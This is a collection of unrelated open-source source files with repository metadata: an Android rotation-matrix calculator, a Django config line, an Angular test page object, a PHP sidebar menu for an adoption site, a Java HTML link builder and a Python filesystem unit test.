package com.catsprogrammer.catsfourthv; /** * Created by C on 2016-09-14. */ public class MatrixCalculator { public static float[] getRotationMatrixFromOrientation(float[] o) { float[] xM = new float[9]; float[] yM = new float[9]; float[] zM = new float[9]; float sinX = (float) Math.sin(o[1]); float cosX = (float) Math.cos(o[1]); float sinY = (float) Math.sin(o[2]); float cosY = (float) Math.cos(o[2]); float sinZ = (float) Math.sin(o[0]); float cosZ = (float) Math.cos(o[0]); // rotation about x-axis (pitch) xM[0] = 1.0f; xM[1] = 0.0f; xM[2] = 0.0f; xM[3] = 0.0f; xM[4] = cosX; xM[5] = sinX; xM[6] = 0.0f; xM[7] = -sinX; xM[8] = cosX; // rotation about y-axis (roll) yM[0] = cosY; yM[1] = 0.0f; yM[2] = sinY; yM[3] = 0.0f; yM[4] = 1.0f; yM[5] = 0.0f; yM[6] = -sinY; yM[7] = 0.0f; yM[8] = cosY; // rotation about z-axis (azimuth) zM[0] = cosZ; zM[1] = sinZ; zM[2] = 0.0f; zM[3] = -sinZ; zM[4] = cosZ; zM[5] = 0.0f; zM[6] = 0.0f; zM[7] = 0.0f; zM[8] = 1.0f; // rotation order is y, x, z (roll, pitch, azimuth) float[] resultMatrix = matrixMultiplication(xM, yM); resultMatrix = matrixMultiplication(zM, resultMatrix); //????????????????왜????????????? return resultMatrix; } public static float[] matrixMultiplication(float[] A, float[] B) { float[] result = new float[9]; result[0] = A[0] * B[0] + A[1] * B[3] + A[2] * B[6]; result[1] = A[0] * B[1] + A[1] * B[4] + A[2] * B[7]; result[2] = A[0] * B[2] + A[1] * B[5] + A[2] * B[8]; result[3] = A[3] * B[0] + A[4] * B[3] + A[5] * B[6]; result[4] = A[3] * B[1] + A[4] * B[4] + A[5] * B[7]; result[5] = A[3] * B[2] + A[4] * B[5] + A[5] * B[8]; result[6] = A[6] * B[0] + A[7] * B[3] + A[8] * B[6]; result[7] = A[6] * B[1] + A[7] * B[4] + A[8] * B[7]; result[8] = A[6] * B[2] + A[7] * B[5] + A[8] * B[8]; return result; } }
CatsProject/CycleAssistantTools
mobile/src/main/java/com/catsprogrammer/catsfourthv/MatrixCalculator.java
Java
mit
2,238
default_app_config = "gallery.apps.GalleryConfig"
cdriehuys/chmvh-website
chmvh_website/gallery/__init__.py
Python
mit
50
import { browser, by, element } from 'protractor'; export class Angular2Page { navigateTo() { return browser.get('/'); } getParagraphText() { return element(by.css('app-root h1')).getText(); } }
deepak1725/django-angular4
users/static/ngApp/angular2/e2e/app.po.ts
TypeScript
mit
213
<!-- START LEFT SIDEBAR NAV--> <?php $role = ""; switch($this->session->userdata('ROLE_ID')){ case 1: $role = "Administrator"; break; case 2: $role = "Adopting Parent"; break; case 3: $role = "Biological Parent/Guardian"; break; } ?> <aside id="left-sidebar-nav"> <ul id="slide-out" class="side-nav fixed leftside-navigation"> <li class="user-details cyan darken-2"> <div class="row"> <div class="col col s4 m4 l4"> <img src="<?=base_url();?>assets/images/profile.png" alt="" class="circle responsive-img valign profile-image"> </div> <div class="col col s8 m8 l8"> <a class="btn-flat dropdown-button waves-effect waves-light white-text profile-btn" href="#" data-activates="profile-dropdown"><?=$this->session->userdata('NAME');?></a> <p class="user-roal"><?=$role;?></p> </div> </div> </li> <li class="bold"><a href="<?=base_url();?>front/adopting_parent" class="waves-effect waves-cyan"><i class="mdi-action-dashboard"></i> Dashboard</a> </li> <li class="bold"><a href="<?=base_url();?>front/personal_details" class="waves-effect waves-cyan"><i class="mdi-content-content-paste"></i> Personal Details</a> </li> <li class="bold"><a href="<?=base_url();?>front/search_child" class="waves-effect waves-cyan"><i class="mdi-action-search"></i> Search Child</a> </li> <li class="no-padding"> <ul class="collapsible collapsible-accordion"> <li class="bold"><a class="collapsible-header waves-effect waves-cyan"><i class="mdi-communication-chat"></i> Meetings</a> <div class="collapsible-body"> <ul> <li><a href="<?=base_url();?>front/search_child">Setup a Meeting</a> </li> <li><a href="<?=base_url();?>front/past_meetings">Past Meetings</a> </li> </ul> </div> </li> <li class="bold"><a class="collapsible-header waves-effect waves-cyan"><i class="mdi-editor-vertical-align-bottom"></i> Adoption</a> <div class="collapsible-body"> <ul> <li><a href="<?=base_url();?>front/adoption">Create Request</a> </li> <li><a href="<?=base_url();?>front/past_adoptions">Past Requests</a> </li> </ul> </div> </li> </ul> </li> </ul> </aside> <!-- END LEFT SIDEBAR NAV-->
ushangt/FosterCare
application/views/front/adopting_parent/menu.php
PHP
mit
2,980
package es.sandbox.ui.messages.argument; import es.sandbox.ui.messages.resolver.MessageResolver; import es.sandbox.ui.messages.resolver.Resolvable; import java.util.ArrayList; import java.util.List; class LinkArgument implements Link, Resolvable { private static final String LINK_FORMAT = "<a href=\"%s\" title=\"%s\" class=\"%s\">%s</a>"; private static final String LINK_FORMAT_WITHOUT_CSS_CLASS = "<a href=\"%s\" title=\"%s\">%s</a>"; private String url; private Text text; private String cssClass; public LinkArgument(String url) { url(url); } private void assertThatUrlIsValid(String url) { if (url == null) { throw new NullPointerException("Link url can't be null"); } if (url.trim().isEmpty()) { throw new IllegalArgumentException("Link url can't be empty"); } } @Override public LinkArgument url(String url) { assertThatUrlIsValid(url); this.url = url; return this; } @Override public LinkArgument title(Text text) { this.text = text; return this; } @Override public LinkArgument title(String code, Object... arguments) { this.text = new TextArgument(code, arguments); return this; } @Override public LinkArgument cssClass(String cssClass) { this.cssClass = trimToNull(cssClass); return this; } private static final String trimToNull(final String theString) { if (theString == null) { return null; } final String trimmed = theString.trim(); return trimmed.isEmpty() ? null : trimmed; } @Override public String resolve(MessageResolver messageResolver) { MessageResolver.assertThatIsNotNull(messageResolver); return String.format(linkFormat(), arguments(messageResolver)); } private String linkFormat() { return this.cssClass == null ? LINK_FORMAT_WITHOUT_CSS_CLASS : LINK_FORMAT; } private Object[] arguments(MessageResolver messageResolver) { final List<Object> arguments = new ArrayList<Object>(); final String title = resolveTitle(messageResolver); arguments.add(this.url); arguments.add(title == null ? this.url : title); if (this.cssClass != null) { arguments.add(this.cssClass); } arguments.add(title == null ? this.url : title); return arguments.toArray(new Object[0]); } private String resolveTitle(MessageResolver messageResolver) { return trimToNull(this.text == null ? null : ((Resolvable) this.text).resolve(messageResolver)); } @Override public String toString() { return String.format("link{%s, %s, %s}", this.url, this.text, this.cssClass); } }
jeslopalo/flash-messages
flash-messages-core/src/main/java/es/sandbox/ui/messages/argument/LinkArgument.java
Java
mit
2,828
# -*- coding: utf-8 -*- from __future__ import unicode_literals import os, sys import tempfile from winsys._compat import unittest import uuid import win32file from winsys.tests.test_fs import utils from winsys import fs class TestFS (unittest.TestCase): filenames = ["%d" % i for i in range (5)] def setUp (self): utils.mktemp () for filename in self.filenames: with open (os.path.join (utils.TEST_ROOT, filename), "w"): pass def tearDown (self): utils.rmtemp () def test_glob (self): import glob pattern = os.path.join (utils.TEST_ROOT, "*") self.assertEquals (list (fs.glob (pattern)), glob.glob (pattern)) def test_listdir (self): import os fs_version = list (fs.listdir (utils.TEST_ROOT)) os_version = os.listdir (utils.TEST_ROOT) self.assertEquals (fs_version, os_version, "%s differs from %s" % (fs_version, os_version)) # # All the other module-level functions are hand-offs # to the corresponding Entry methods. # if __name__ == "__main__": unittest.main () if sys.stdout.isatty (): raw_input ("Press enter...")
operepo/ope
laptop_credential/winsys/tests/test_fs/test_fs.py
Python
mit
1,100